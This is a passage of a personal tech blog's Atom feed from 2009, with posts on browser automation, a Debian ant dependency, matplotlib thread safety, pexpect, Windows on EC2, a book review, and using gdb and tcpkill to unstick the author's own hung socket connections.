rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-6813733332711609856</id><published>2009-09-09T07:53:00.000-07:00</published><updated>2009-09-09T09:09:13.203-07:00</updated><title type='text'>Firefox automation</title><content type='html'>I have access to a web page that produces interesting pipe-delimited data, given a number. There are several hundred numbers for which I want data. The website is behind a gnarly security system to which I have access, but so far, only via a browser---I don't really want to try to figure out how to get access to it from a scripting environment like Python. The login process involves SSL, cookies, a bunch of redirects, and other things that would probably take ages to work out.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;There are a bunch of Firefox plugins that claim to handle browser automation. My task is pretty simple, so this should be a nice test:&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Pop a number &lt;i&gt;x&lt;/i&gt; from a predefined array of numbers. If the array is empty, stop.&lt;/li&gt;&lt;li&gt;Plug &lt;i&gt;x &lt;/i&gt;into the form.&lt;/li&gt;&lt;li&gt;Submit the form.&lt;/li&gt;&lt;li&gt;The web site will send back a pipe-delimited text file. Save that under the name &lt;i&gt;x.&lt;/i&gt;txt.&lt;/li&gt;&lt;li&gt;Go back to 1.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Here's what I tried:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;CoScripter &lt;/b&gt;by IBM Research. Includes record function! Nice use of natural language. But it can't interact with browser chrome. Plonk. (Also: deleting a command is counterintuitive: you have to backspace all over it, rather than right-clicking and picking "delete" or similar.)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;ChickenFoot &lt;/b&gt;by Michael Bolin from csail. No record function, but it has a tempting write() function. Unfortunately, the server sends the file as&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Content-Disposition: attachment; filename="filename.txt"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Content-Type: application/octet-stream&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;...which forces Firefox to pop up the "You have chosen to open" dialog box &lt;i&gt;no matter what&lt;/i&gt; and grays out the "Do this automatically from now on" check box, so you have to sit there and click. Not cool. This is a firefox problem, not a ChickenFoot problem.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Eh. I fired up Wireshark, copy-pasted the cookie, and used Python to automate the fetch. That worked.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-6813733332711609856?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/6813733332711609856/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/09/firefox-automation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6813733332711609856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6813733332711609856'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/09/firefox-automation.html' title='Firefox automation'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-648718868221920992</id><published>2009-09-08T22:27:00.000-07:00</published><updated>2009-09-08T22:50:09.834-07:00</updated><title type='text'>Dependencies</title><content type='html'>If you need to run java on Debian, you can install gij.&lt;br /&gt;If you need to run ant, you can install ant.&lt;br /&gt;&lt;br /&gt;Unfortunately, if you do this, ant might not work. You may get an error like this:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ ant&lt;br /&gt;Unable to locate tools.jar. Expected to find it in /usr/lib/jvm/java-1.5.0-gcj-4.3-1.5.0.0/lib/tools.jar&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;That file is actually part of the package &lt;span style="font-family: courier new;"&gt;java-gcj-compat-dev&lt;/span&gt;, which is for whatever reason &lt;span style="font-style: italic;"&gt;not&lt;/span&gt; an ant dependency. Install it and the problem might go away.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-648718868221920992?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/648718868221920992/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/09/dependencies.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/648718868221920992'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/648718868221920992'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/09/dependencies.html' title='Dependencies'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-1514956603330733913</id><published>2009-09-01T23:22:00.001-07:00</published><updated>2009-09-01T23:27:46.379-07:00</updated><title type='text'>Threadsafety and matplotlib/pylab</title><content type='html'>Matplotlib and pylab are two different interfaces to the same (very useful) python plotting library. Pylab is the easier-to-use and more succinct of the two, but, unfortunately, it relies on global state which makes it most definitely _not_ threadsafe. If you try to use it on a multithreaded web application, you'll get graphs overlaid on top of each other, random changes to your graph parameters, and all sorts of other nasties that don't really bear mentioning.&lt;br /&gt;&lt;br /&gt;You can avoid this by switching to matplotlib's &lt;a href="http://matplotlib.sourceforge.net/api/figure_api.html"&gt;Figure()-based api&lt;/a&gt;. &lt;a href="http://www.mail-archive.com/matplotlib-devel@lists.sourceforge.net/msg04819.html"&gt;This thread&lt;/a&gt; has a nice example. (Note that the thread is actually about a &lt;span style="font-style: italic;"&gt;failure&lt;/span&gt; of matplotlib to work multithreadedly. But it sounds like an obscure one.)&lt;br /&gt;&lt;!--&lt;br /&gt;N.B.: The thread also says to explicitly close all figures to avoid memory leaks. or is that pylab?--&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-1514956603330733913?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/1514956603330733913/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/09/threadsafety-and-matplotlibpylab.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1514956603330733913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1514956603330733913'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/09/threadsafety-and-matplotlibpylab.html' title='Threadsafety and matplotlib/pylab'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-6735514027094903134</id><published>2009-08-13T13:57:00.000-07:00</published><updated>2009-08-13T13:58:04.434-07:00</updated><title type='text'>The single best article on consumer-driven health-care I've read in ages</title><content type='html'>&lt;a href="http://www.theatlantic.com/doc/print/200909/health-care"&gt;http://www.theatlantic.com/doc/print/200909/health-care&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-6735514027094903134?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/6735514027094903134/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/08/single-best-article-on-consumer-driven.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6735514027094903134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6735514027094903134'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/08/single-best-article-on-consumer-driven.html' title='The single best article on consumer-driven health-care I&apos;ve read in ages'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-6555480607519101203</id><published>2009-08-10T15:28:00.000-07:00</published><updated>2009-08-10T16:00:32.702-07:00</updated><title type='text'>gdb to the rescue</title><content type='html'>I've written a program that starts a bunch of threads, reads a bunch of data from various computers on the Internet, packs it up, and ships it off to another computer for safekeeping. It runs several times an hour, triggered by a cron job. I also have a watchdog alarm that goes off if that process hasn't run for a while.&lt;br /&gt;&lt;br /&gt;Today, the alarm went off. I investigated and realized that one of the several thousand threads it launched was hanging because I'd opened a socket using without setting a timeout. The process won't finish until each and every thread finishes, so that single socket was holding up everything. I wrote the program in Python with urllib, and I'd failed to add a line like this to the top:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;SOCKET_TIMEOUT = 20&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;socket.setdefaulttimeout(SOCKET_TIMEOUT)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The problem was that I didn't want to lose the data that was inside these processes by simply killing them -- it's time-sensitive. If I lost those readings, there would be no way to get them back. But I couldn't think of an easy way to close those sockets. I looked into tcpkill, but that only works if packets are moving back and forth. These threads were hanging because the destination server wasn't sending &lt;span style="font-style: italic;"&gt;anything&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Fortunately, there was a fairly straightforward solution.&lt;br /&gt;&lt;br /&gt;First, I did a quick scan for the stuck processes:&lt;br /&gt;&lt;pre&gt;$ lsof |grep python|grep www&lt;br /&gt;&lt;br /&gt;python    14139        jdb   12u     IPv4  155056253                 TCP mybox:49535-&gt;failpc:www (ESTABLISHED)&lt;br /&gt;python    24844        jdb   28u     IPv4  154951225                 TCP mybox:60415-&gt;failpc:www (ESTABLISHED)&lt;br /&gt;python    26287        jdb   26u     IPv4  153763806                 TCP mybox:44628-&gt;failpc:www (ESTABLISHED)&lt;br /&gt;python    28168        jdb    9u     IPv4  155145417                 TCP mybox:37225-&gt;failpc:www (ESTABLISHED)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This used lsof to list all sockets held by Python processes that were connected to port 80 (www) on the remote machine. "mybox" is my machine, and "failpc" is the machine that's doing nothing.&lt;br /&gt;&lt;br /&gt;The fourth column is the file descriptor for those sockets. The 'u' means that the descriptor is both readable and writable.&lt;br /&gt;&lt;br /&gt;I used gdb to unstick the processes by closing the sockets:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ gdb /usr/bin/python&lt;br /&gt;GNU gdb 6.8-debian&lt;br /&gt;Copyright (C) 2008 Free Software Foundation, Inc.&lt;br /&gt;License GPLv3+: GNU GPL version 3 or later &lt;http: org="" licenses="" html=""&gt;&lt;br /&gt;This is free software: you are free to change and redistribute it.&lt;br /&gt;There is NO WARRANTY, to the extent permitted by law.  Type "show copying"&lt;br /&gt;and "show warranty" for details.&lt;br /&gt;This GDB was configured as "i486-linux-gnu"...&lt;br /&gt;(gdb) attach 14139&lt;br /&gt;Attaching to program: /usr/bin/python, process 14139&lt;br /&gt;Reading symbols from /lib/i686/cmov/libpthread.so.0...done.&lt;br /&gt;[Thread debugging using libthread_db enabled]&lt;br /&gt;[New Thread 0xb7d416c0 (LWP 14139)]&lt;br /&gt;[New Thread 0xb5906b90 (LWP 20872)]&lt;br /&gt;Loaded symbols for /lib/i686/cmov/libpthread.so.0&lt;br /&gt;&lt;/http:&gt;&lt;/pre&gt;&lt;br /&gt;(a whole bunch of loading-symbols cruft was snipped)&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;(gdb) print close(12)&lt;br /&gt;[Switching to Thread 0xb7d416c0 (LWP 14139)]&lt;br /&gt;$1 = 0&lt;br /&gt;(gdb) cont&lt;br /&gt;Continuing.&lt;br /&gt;[Thread 0xb5906b90 (LWP 20872) exited]&lt;br /&gt;&lt;br /&gt;Program exited normally.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;What I did was open gdb, attach to the running python process, and call close() on the socket. The offending thread exited, and the supervisor thread eventually noticed, gathered the data from all the threads, saved it, and exited.&lt;br /&gt;&lt;br /&gt;The reality was a bit messier: the threads opened two sockets in a sequence, so I had to repeat the above steps for each thread: I ran lsof to find the new file descriptor, hit Control-C in GDB to stop the process again, and closed the new FD, too. I could also have left tcpkill running with parameters like this&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;tcpkill -i eth0 dst host failpc&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;...which would have killed &lt;span style="font-style: italic;"&gt;new&lt;/span&gt; connections to failpc as soon as they were opened.  I used that approach for most of the connections to save time.&lt;br /&gt;&lt;br /&gt;You might not be able to reuse gdb processes -- in my case, if I tried to attach to a second process after the first one exited, gdb printed warnings like:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;warning: Cannot initialize thread debugging library: versions of libpthread and libthread_db do not match&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I found it easier just to quit and start a new session each time.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-6555480607519101203?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/6555480607519101203/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/08/gdb-to-rescue.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6555480607519101203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6555480607519101203'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/08/gdb-to-rescue.html' title='gdb to the rescue'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-2241192378088255042</id><published>2009-08-05T16:50:00.001-07:00</published><updated>2009-08-10T01:07:57.282-07:00</updated><title type='text'>Softwar</title><content type='html'>Thoughts on &lt;span style="font-weight: bold; font-style: italic;"&gt;Softwar&lt;/span&gt;, former Economist correspondent Matthew Symonds's bio of Larry Ellison.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Symonds's agent, Andrew Wylie, brokered a deal in which Ellison had the right of reply---in footnotes. These added some color to the book, but not as much as I'd hoped.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Most of his conversations with Ellison appear to have taken place on private planes, yachts, or exotic resorts --- not the places that one would expect to find a biographer who wanted to play Robert Caro to Ellison's Robert Moses. The author himself is in twenty percent of the book's group photos featuring an adult Ellison.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The most interesting part of Ellison's career --- how he went from being an itinerent rock-climbing hacker to founder of a fast-growing database company --- is compressed into far too few pages. I realize that paper is expensive these days, but I would have preferred more material about Oracle/SDL/RSI's early stages and fewer anecdotes about how Ellison's head of sales talked him into ditching his "cheap Seiko wristwatch" and buying a Rolex---"'but in stainless. I couldn't deal with gold.'" An entire chapter (I skipped it) is devoted to sailboat racing. Some of the "lifestyle" material -- for instance, the Adelyn Lee wrongful-termination/extortion case -- is illuminating. Most isn't.&lt;/li&gt;&lt;li&gt;One early anecdote featured the proto-Oracle nearly running out of cash because, despite some early sales to three-letter intelligence agencies, Ellison &amp;amp; Co. hadn't realized that the feds can spend years between closing a sale and cutting a check.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Ellison himself presents some intriguing ideas. It's better to reengineer business processes to fit software than the other way around (p. 476) Software is so abstract that the key to selling it is customer references: "selling the architecture only works with a few early adopters"; "people have this innate belief that there is safety in numbers". (p.239).&lt;/li&gt;&lt;li&gt;The California Oracle license-sales debacle was, according to Symonds, an attempt to smear Gray Davis that happened to involve Oracle. Oracle, by way of the systems-integrator Logicon, actually gave California a spectacular deal on licenses. When the scandal (which involved an ill-timed campaign donation) broke, Oracle even offered to cancel the contract, but the state declined. (On that note, there are few scandals in the book where Symonds concludes that Ellison or Oracle was less sinned against than sinning.)&lt;/li&gt;&lt;/ol&gt;Recommended.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-2241192378088255042?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/2241192378088255042/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/08/softwar.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2241192378088255042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2241192378088255042'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/08/softwar.html' title='Softwar'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-2698481219586800898</id><published>2009-08-04T11:51:00.000-07:00</published><updated>2009-08-04T11:55:03.558-07:00</updated><title type='text'>No, I don't understand it.</title><content type='html'>Exhibit A:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RQWmQmpSh1E/SniDVN2TMCI/AAAAAAAAABU/iadNK01G1vI/s1600-h/capt.photo_1249399614471-1-0.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 229px; height: 344px;" src="http://2.bp.blogspot.com/_RQWmQmpSh1E/SniDVN2TMCI/AAAAAAAAABU/iadNK01G1vI/s400/capt.photo_1249399614471-1-0.jpg" alt="" id="BLOGGER_PHOTO_ID_5366183356529848354" border="0" /&gt;&lt;/a&gt;(AP Photo)&lt;br /&gt;&lt;br /&gt;Exhibit B:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RQWmQmpSh1E/SniDiL0TmeI/AAAAAAAAABc/I6LHZO4aCyg/s1600-h/8503f_obama-unicorn-300x450.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 267px; height: 400px;" src="http://2.bp.blogspot.com/_RQWmQmpSh1E/SniDiL0TmeI/AAAAAAAAABc/I6LHZO4aCyg/s400/8503f_obama-unicorn-300x450.jpg" alt="" id="BLOGGER_PHOTO_ID_5366183579322915298" border="0" /&gt;&lt;/a&gt;(&lt;a href="http://www.artofobama.com/2008/12/03/barack-obama-victory-unicorn/"&gt;link&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-2698481219586800898?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/2698481219586800898/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/08/no-i-dont-understand-it.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2698481219586800898'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2698481219586800898'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/08/no-i-dont-understand-it.html' title='No, I don&apos;t understand it.'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_RQWmQmpSh1E/SniDVN2TMCI/AAAAAAAAABU/iadNK01G1vI/s72-c/capt.photo_1249399614471-1-0.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-3270063216534359059</id><published>2009-08-02T09:19:00.001-07:00</published><updated>2009-08-02T10:07:07.948-07:00</updated><title type='text'>pexpect = EPIC WIN</title><content type='html'>I needed to read a bunch of data from a database only accessible via a menu-driven Unix shell program. &lt;a href="http://expect.nist.gov/"&gt;Expect&lt;/a&gt; is designed for just this problem, but I understand that it invovles using Tcl, and Tk horrifies me so much that I wanted nothing to do with Tcl whatsoever.&lt;br /&gt;&lt;br /&gt;Then I discovered &lt;a href="http://sourceforge.net/projects/pexpect/"&gt;pexpect&lt;/a&gt;, which is like expect but uses Python, which was the most win I've ever seen crammed into just 1.3 kloc of source code. Pexpect lets you script programs that expect human input. You tell it what to look for; it tells you what it read; you tell it how to respond. It even works on python 2.3, which was great, because the host with the shell program only had python 2.3.&lt;br /&gt;&lt;br /&gt;One pitfall was that either pexpect or python 2.3 tended to leak file descriptors.&lt;br /&gt;If I spawned the database client too many times from my pexpect script, Python would eventually fail with complaints about running out of file handles. This happened even when I called close() on the handles. The solution was to wrap the pexpect script in another python script that in turn called os.system wrote the results to an append-only file. This was a gross hack, but I got the data I needed without wearing out my fingers. Highly recommended.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-3270063216534359059?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/3270063216534359059/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/08/pexpect-epic-win.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3270063216534359059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3270063216534359059'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/08/pexpect-epic-win.html' title='pexpect = EPIC WIN'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-5243123534040973564</id><published>2009-07-29T13:22:00.000-07:00</published><updated>2009-07-29T17:02:11.152-07:00</updated><title type='text'>Amazon: mostly win. Windows: bleh.</title><content type='html'>Have you ever needed to run a Windows application without a suitable machine handy? Today, I  wanted to install something that required Microsoft IIS. My laptop runs Windows Vista Home Premium*, which has IIS preinstalled. You can activate it by going to Control Panels-&gt;Add/Remove Programs-&gt;Add/Remove Windows Components. Unfortunately, it lacks a bunch of features that the program required, like Windows Authentication, Digest Authentication, and a bunch of others. So the installer complained and refused to install.&lt;br /&gt;&lt;br /&gt;* I wasn't planning on running Vista very often, so  I wanted to save on the Microsoft tax.&lt;br /&gt;&lt;br /&gt;I have an ancient laptop with Windows XP Pro. Amazingly, it still booted. But I couldn't find the WinXP install CD to install IIS. (Vista keeps the files on disk, so it doesn't need a CD). The hard drive was also full and I didn't want to spend the afternoon nuking old files.&lt;br /&gt;&lt;br /&gt;Then I remembered that Amazon's EC2 service lets you run Windows. I thought this was &lt;span style="font-weight: bold;"&gt;perfect&lt;/span&gt; --- I could install the app without actually having to muck around with actual computers.&lt;a href="http://blogs.iis.net/bills/archive/2009/01/13/how-to-run-windows-amp-iis-in-the-cloud-on-amazon-ec2-in-15-mins.aspx"&gt;&lt;br /&gt;&lt;br /&gt;This blog post&lt;/a&gt; is a nice walkthrough. Things have changed a bit since then --- the part about security groups now appears to be automatic (Amazon now walks you through the setup and turns on remote desktop by default). Because Vista Home Premium doesn't have Remote Desktop, I booted into Linux to use rdesktop. (Bliss!)&lt;br /&gt;&lt;br /&gt;Things more-or-less worked as expected after that. Some pitfalls to avoid:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The EC2 virtual machine takes forever to boot. I believe there was a 20 minute interval between when Amazon started billing me and when the machine finally went from "pending" to ready, and then from ready to &lt;span style="font-style: italic;"&gt;actually&lt;/span&gt; ready (ready enough that it would give me the password).&lt;/li&gt;&lt;li&gt;Internet Explorer is set to fascist mode by default. It won't let you download much of anything. Somehow, Firefox became infested with these settings, too, so Firefox won't let you download anything &lt;span style="font-style: italic;"&gt;either&lt;/span&gt;. All the downloads came up "cancelled". You can&lt;a href="http://www.visualwin.com/IE-enhanced-security/"&gt; switch these settings off &lt;/a&gt;by going to Add/Remove Windows Components and turning off Internet Explorer Enhanced Security Configuration.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;EC2 blows away your image when you shut down. If you want to keep it, you can use the menu option "Bundle Windows AMI" to save it to S3. (Yeah, that's really obvious.) It will prompt you for an S3 bucket. Note that you have to create buckets &lt;span style="font-style: italic;"&gt;in advance&lt;/span&gt; and the bucket name has to be &lt;span style="font-style: italic;"&gt;globally unique across all S3 users&lt;/span&gt;. The EC2 managment console won't tell you that you screwed up until it finishes the agonizingly long "bundling" process, at which point it will say "failed" with the helpful error string "&lt;span class="value wrap"&gt;AccessDenied(403)- Access Denied" if your bucket collided with someone else's. You can use a tool like s3fox to create a bucket.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="value wrap"&gt;The English in s3fox (example: &lt;/span&gt;&lt;span class="value wrap"&gt;"IT MAY SO HAPPEN THAT THIS EXTENSION MAY BE DISCONTINUED AT ANY POINT. I WON'T BE HELD RESPONSIBLE FOR THAT.") does not exactly inspire confidence. I do hope that it doesn't send my secret key to Elbonia so that I can wake up to a $5 billion AWS bill next month.&lt;/span&gt; That said, S3fox was remarkably easy to use, once I realized that by "folder", it meant "bucket."&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Aside from those issues, EC2 was pretty much all win. I didn't have to dig up a WinXP CD, or buy a more outlandish version of Windows, or fiddle with my registry settings, or edit my bootloader, or turn my computer upside-down and strain crushed tomatoes through it. I think the total bill for the month will be about a dollar. Highly recommended.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-5243123534040973564?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/5243123534040973564/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/07/amazon-mostly-win-windows-bleh.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/5243123534040973564'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/5243123534040973564'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/07/amazon-mostly-win-windows-bleh.html' title='Amazon: mostly win. Windows: bleh.'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-1806923690003638093</id><published>2009-07-27T13:55:00.001-07:00</published><updated>2009-07-27T14:21:50.500-07:00</updated><title type='text'>Public service announcement</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm1.static.flickr.com/34/73519110_47c4f41402_o.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 400px; height: 300px;" src="http://farm1.static.flickr.com/34/73519110_47c4f41402_o.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To the people who lame 